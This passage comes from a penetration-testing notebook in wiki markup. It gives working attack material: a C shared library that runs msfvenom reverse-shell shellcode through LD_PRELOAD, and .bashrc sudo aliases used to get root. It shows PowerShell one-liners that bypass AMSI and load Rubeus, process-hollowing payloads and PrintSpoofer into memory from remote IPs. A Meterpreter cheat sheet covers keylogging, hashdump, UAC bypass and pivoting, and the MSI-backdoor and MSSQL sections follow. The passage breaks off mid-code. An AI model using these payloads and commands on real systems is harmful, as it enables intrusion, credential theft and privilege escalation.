&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
powershell_session_remove --&amp;gt; Used to remove a PowerShell session when created using execute/import/shell with the -s argument&lt;br /&gt;
# Host Reconnaissance&lt;br /&gt;
# List running processes on a system&lt;br /&gt;
ps --&amp;gt; List processes&lt;br /&gt;
getpid --&amp;gt; List current PID&lt;br /&gt;
migrate {PID} --&amp;gt; Migrate to anothe PID&lt;br /&gt;
post/windows/manage/migrate --&amp;gt; Make meterpreter migrate to another process.&lt;br /&gt;
run service_manager -l --&amp;gt; Lists running services on Windows.&lt;br /&gt;
If we are against a non-interactive logon in which the explorer.exe process does not exist, we can create a hidden instance of notepad and migrate into it:&lt;br /&gt;
execute -H -f notepad&lt;br /&gt;
migrate {PID}&lt;br /&gt;
# Screenshots&lt;br /&gt;
screengrab --&amp;gt; Run plugin to capture screenshot of user session&lt;br /&gt;
# Keylogger&lt;br /&gt;
keyscan_start --&amp;gt; Start keylogger&lt;br /&gt;
keyscan_stop --&amp;gt; Stop keylogger&lt;br /&gt;
keyscan_dump --&amp;gt; Dump keylogger&lt;br /&gt;
# Privilege Escalation&lt;br /&gt;
getsystem --&amp;gt; Attempts to elevate privileges.&lt;br /&gt;
post/windows/gather/win_privs --&amp;gt; Determine privilege information.&lt;br /&gt;
exploit/windows/local/bypassuac_vbs --&amp;gt; Attempts to bypass UAC in order to escalate privileges.&lt;br /&gt;
windows/local/bypassuac_fodhelper --&amp;gt; Attempts to bypass UAC with fodhelper method, this should work w/ defender diasbled.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Post-Explotation with Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;help&amp;lt;/code&amp;gt;: List available commands.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Migrate&#039;&#039;&#039;: Migrate to another process with &amp;lt;code&amp;gt;migrate [PID]&amp;lt;/code&amp;gt;.&lt;br /&gt;
Used for: keystroke capturing (&amp;lt;code&amp;gt;keyscan_start&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_stop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;keyscan_dump&amp;lt;/code&amp;gt;) and ensuring session stability.&lt;br /&gt;
&lt;br /&gt;
* Caution: Migrating may lead to privilege loss.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Hashdump&#039;&#039;&#039;: Dump the SAM database containing NTLM-formatted passwords with &amp;lt;code&amp;gt;hashdump&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Search&#039;&#039;&#039;: Find files, e.g., &amp;lt;code&amp;gt;search -f flag2.txt&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shell&#039;&#039;&#039;: Launch command shell on the target with &amp;lt;code&amp;gt;shell&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;search smb/psexec&amp;lt;/code&amp;gt; to search for a module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;use [id]&amp;lt;/code&amp;gt; to use the module.&lt;br /&gt;
&lt;br /&gt;
* Set required fields using &amp;lt;code&amp;gt;set&amp;lt;/code&amp;gt; (e.g., &amp;lt;code&amp;gt;set RHOSTS [target-machine-ip]&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* Confirm settings with &amp;lt;code&amp;gt;show options&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;run&amp;lt;/code&amp;gt; to start the exploit.&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Extensions ===&lt;br /&gt;
&lt;br /&gt;
[https://www.hackers-arise.com/post/2018/11/26/metasploit-basics-part-21-post-exploitation-with-mimikatz Metasploit Basics, Part 21: Capturing Credentials with mimikatz (hackers-arise.com)]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load kiwi&amp;lt;/code&amp;gt; - Load Mimikatz in current process&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;load incognito&amp;lt;/code&amp;gt; - Incognito is a tool which can be used for privilege escalation, typically from Local Administrator to Domain Administrator.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;load powershell&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_import PowerUp.ps1&amp;lt;/code&amp;gt; &amp;lt;-- from our local working dir.&lt;br /&gt;
&amp;lt;code&amp;gt;powershell_execute &amp;quot;Invoke-AllChecks&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter pivoting and Proxychains ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Portforward ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.offsec.com/metasploit-unleashed/portfwd/&lt;br /&gt;
# Add&lt;br /&gt;
# From the Meterpreter shell, the command is used in the following manner:&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r  [target host]&lt;br /&gt;
# add will add the port forwarding to the list and will essentially create a tunnel for us. Please note, this tunnel will also exist outside the Metasploit console, making it available to any terminal session.&lt;br /&gt;
-l 3389 is the local port that will be listening and forwarded to our target. This can be any port on your machine, as long as it’s not already being used.&lt;br /&gt;
-p 3389 is the destination port on our targeting host.&lt;br /&gt;
-r [target host] is the our targeted system’s IP or hostname.&lt;br /&gt;
meterpreter &amp;gt; portfwd add –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Local TCP relay created: 0.0.0.0:3389 &amp;gt;-&amp;gt; 172.16.194.191:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
Figure 2 Adding a port&lt;br /&gt;
# Delete&lt;br /&gt;
## Entries are deleted very much like the previous command. Once again from an active Meterpreter session, we would type the following:&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r [target host]&lt;br /&gt;
meterpreter &amp;gt; portfwd delete –l 3389 –p 3389 –r 172.16.194.191&lt;br /&gt;
[*] Successfully stopped TCP relay on 0.0.0.0:3389&lt;br /&gt;
meterpreter &amp;gt;&lt;br /&gt;
# FLUSH: This argument will allow us to remove all the local port forward at once.&lt;br /&gt;
meterpreter &amp;gt; portfwd flush&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSI Backdoor ==&lt;br /&gt;
&lt;br /&gt;
If AlwaysInstalledElevated is set to one, you can elevate your privileges by backdooring an MSI installer.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
Download exemsi --&amp;gt; https://www.exemsi.com/download/&lt;br /&gt;
# Follow the guide fom hacktrics.&lt;br /&gt;
&lt;br /&gt;
------------------&lt;br /&gt;
# If you have a meterpreter session&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSSQL ==&lt;br /&gt;
&lt;br /&gt;
=== Good source ===&lt;br /&gt;
&lt;br /&gt;
[https://notes.vulndev.io/wiki/redteam/payloads/windows/mssql MSSQL - Notes (vulndev.io)]&lt;br /&gt;
&lt;br /&gt;
=== MSSQL Attacks ===&lt;br /&gt;
&lt;br /&gt;
==== Enumeration ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract all accounts in use as SPN using built in MS tools&lt;br /&gt;
setspn -T corp1 -Q MSSQLSvc/*&lt;br /&gt;
# Use GetUserSPNs.ps1&lt;br /&gt;
https://github.com/nidem/kerberoast&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Authentication using C# ====&lt;br /&gt;
&lt;br /&gt;
* This C# code is a simple program that connects to a SQL Server instance, checks if the connection is successful, and then retrieves and displays the current logged-in user. It also checks if the logged-in user is a member of the &#039;public&#039; server role and displays the result.&lt;br /&gt;
&lt;br /&gt;
* The term &amp;lt;code&amp;gt;Integrated Security = True;&amp;lt;/code&amp;gt; in a SQL Server connection string indicates that the connection should use Windows Authentication rather than SQL Server Authentication.&lt;br /&gt;
&lt;br /&gt;
* It&#039;s considered more secure than SQL Server Authentication because it uses the underlying Windows account mechanisms, including password policies, Kerberos, and NTLM.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Data.SqlClient;&lt;br /&gt;
namespace SQL&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String sqlServer = &amp;quot;dc01.corp1.com&amp;quot;;&lt;br /&gt;
            String database = &amp;quot;master&amp;quot;;&lt;br /&gt;
            String conString = &amp;quot;Server = &amp;quot; + sqlServer + &amp;quot;; Database = &amp;quot; + database + &amp;quot;; Integrated Security = True;&amp;quot;;&lt;br /&gt;
            SqlConnection con = new SqlConnection(conString);&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                con.Open();&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth success!&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            catch&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Auth failed&amp;quot;);&lt;br /&gt;
                Environment.Exit(0);&lt;br /&gt;
            }&lt;br /&gt;
            String querylogin = &amp;quot;SELECT SYSTEM_USER;&amp;quot;;&lt;br /&gt;
            SqlCommand command = new SqlCommand(querylogin, con);&lt;br /&gt;
            SqlDataReader reader = command.ExecuteReader();&lt;br /&gt;
            reader.Read();&lt;br /&gt;
            Console.WriteLine(&amp;quot;Logged in as: &amp;quot; + reader[0]);&lt;br /&gt;
            reader.Close();&lt;br /&gt;
            // Check public role&lt;br /&gt;
            String querypublicrole = &amp;quot;SELECT IS_SRVROLEMEMBER(&#039;public&#039;);&amp;quot;;&lt;br /&gt;
            command = new SqlCommand(querypublicrole, con);&lt;br /&gt;
